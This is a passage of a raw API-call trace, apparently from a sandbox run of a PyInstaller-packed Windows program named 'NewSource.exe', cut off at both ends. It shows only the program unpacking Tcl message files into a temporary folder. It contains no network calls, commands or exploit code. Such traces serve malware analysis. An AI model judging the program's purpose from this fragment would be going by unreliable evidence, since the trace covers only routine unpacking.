dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.133] GetFileType (hFile=0x10c) returned 0x1 [0037.133] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.133] CloseHandle (hObject=0x10c) returned 1 [0037.134] GetLastError () returned 0x0 [0037.134] SetLastError (dwErrCode=0x0) [0037.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.134] GetFileType (hFile=0x10c) returned 0x1 [0037.134] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.134] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.134] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.134] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.134] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.134] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.134] CloseHandle (hObject=0x10c) returned 1 [0037.134] GetLastError () returned 0x0 [0037.134] SetLastError (dwErrCode=0x0) [0037.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg") returned 64 [0037.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_zw.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.134] GetLastError () returned 0x2 [0037.134] SetLastError (dwErrCode=0x2) [0037.134] GetLastError () returned 0x2 [0037.134] SetLastError (dwErrCode=0x2) [0037.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg", lpFilePart=0x0) returned 0x3f [0037.134] GetLastError () returned 0x2 [0037.134] SetLastError (dwErrCode=0x2) [0037.135] GetLastError () returned 0x2 [0037.135] SetLastError (dwErrCode=0x2) [0037.135] GetLastError () returned 0x2 [0037.135] SetLastError (dwErrCode=0x2) [0037.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg") returned 64 [0037.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_zw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_zw.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.135] GetFileType (hFile=0x10c) returned 0x1 [0037.135] htonl (hostlong=0xfb000000) returned 0xfb [0037.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.135] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.136] CloseHandle (hObject=0x10c) returned 1 [0037.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.136] htonl (hostlong=0x30000000) returned 0x30 [0037.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.137] GetFileType (hFile=0x10c) returned 0x1 [0037.137] htonl (hostlong=0x66485700) returned 0x574866 [0037.137] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf866, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.137] htonl (hostlong=0x83010000) returned 0x183 [0037.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x183) returned 0x550600 [0037.137] htonl (hostlong=0x83010000) returned 0x183 [0037.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.137] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.137] htonl (hostlong=0xcf040000) returned 0x4cf [0037.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4cf) returned 0x55e278 [0037.137] htonl (hostlong=0x83010000) returned 0x183 [0037.137] htonl (hostlong=0xcf040000) returned 0x4cf [0037.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.137] CloseHandle (hObject=0x10c) returned 1 [0037.137] GetLastError () returned 0x0 [0037.137] SetLastError (dwErrCode=0x0) [0037.137] GetLastError () returned 0x0 [0037.137] SetLastError (dwErrCode=0x0) [0037.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.138] GetFileType (hFile=0x10c) returned 0x1 [0037.138] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.138] CloseHandle (hObject=0x10c) returned 1 [0037.138] GetLastError () returned 0x0 [0037.138] SetLastError (dwErrCode=0x0) [0037.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.138] GetFileType (hFile=0x10c) returned 0x1 [0037.138] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.139] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.139] CloseHandle (hObject=0x10c) returned 1 [0037.139] GetLastError () returned 0x0 [0037.139] SetLastError (dwErrCode=0x0) [0037.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg") returned 61 [0037.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.139] GetLastError () returned 0x2 [0037.139] SetLastError (dwErrCode=0x2) [0037.139] GetLastError () returned 0x2 [0037.139] SetLastError (dwErrCode=0x2) [0037.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg", lpFilePart=0x0) returned 0x3c [0037.139] GetLastError () returned 0x2 [0037.139] SetLastError (dwErrCode=0x2) [0037.139] GetLastError () returned 0x2 [0037.139] SetLastError (dwErrCode=0x2) [0037.139] GetLastError () returned 0x2 [0037.139] SetLastError (dwErrCode=0x2) [0037.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg") returned 61 [0037.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.139] GetFileType (hFile=0x10c) returned 0x1 [0037.139] htonl (hostlong=0xcf040000) returned 0x4cf [0037.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.140] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4cf, lpOverlapped=0x0) returned 1 [0037.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.141] CloseHandle (hObject=0x10c) returned 1 [0037.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.141] htonl (hostlong=0x30000000) returned 0x30 [0037.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.141] GetFileType (hFile=0x10c) returned 0x1 [0037.142] htonl (hostlong=0xe9495700) returned 0x5749e9 [0037.142] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf9e9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.142] htonl (hostlong=0x71010000) returned 0x171 [0037.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x171) returned 0x550600 [0037.142] htonl (hostlong=0x71010000) returned 0x171 [0037.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.142] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.142] htonl (hostlong=0x9c040000) returned 0x49c [0037.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x49c) returned 0x550780 [0037.142] htonl (hostlong=0x71010000) returned 0x171 [0037.142] htonl (hostlong=0x9c040000) returned 0x49c [0037.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.142] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.142] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.142] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.142] CloseHandle (hObject=0x10c) returned 1 [0037.143] GetLastError () returned 0x0 [0037.143] SetLastError (dwErrCode=0x0) [0037.143] GetLastError () returned 0x0 [0037.143] SetLastError (dwErrCode=0x0) [0037.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.143] GetFileType (hFile=0x10c) returned 0x1 [0037.143] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.143] CloseHandle (hObject=0x10c) returned 1 [0037.143] GetLastError () returned 0x0 [0037.143] SetLastError (dwErrCode=0x0) [0037.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.143] GetFileType (hFile=0x10c) returned 0x1 [0037.143] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.144] CloseHandle (hObject=0x10c) returned 1 [0037.144] GetLastError () returned 0x0 [0037.144] SetLastError (dwErrCode=0x0) [0037.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg") returned 61 [0037.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.144] GetLastError () returned 0x2 [0037.144] SetLastError (dwErrCode=0x2) [0037.144] GetLastError () returned 0x2 [0037.144] SetLastError (dwErrCode=0x2) [0037.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg", lpFilePart=0x0) returned 0x3c [0037.144] GetLastError () returned 0x2 [0037.144] SetLastError (dwErrCode=0x2) [0037.144] GetLastError () returned 0x2 [0037.144] SetLastError (dwErrCode=0x2) [0037.144] GetLastError () returned 0x2 [0037.144] SetLastError (dwErrCode=0x2) [0037.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg") returned 61 [0037.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es.msg"), 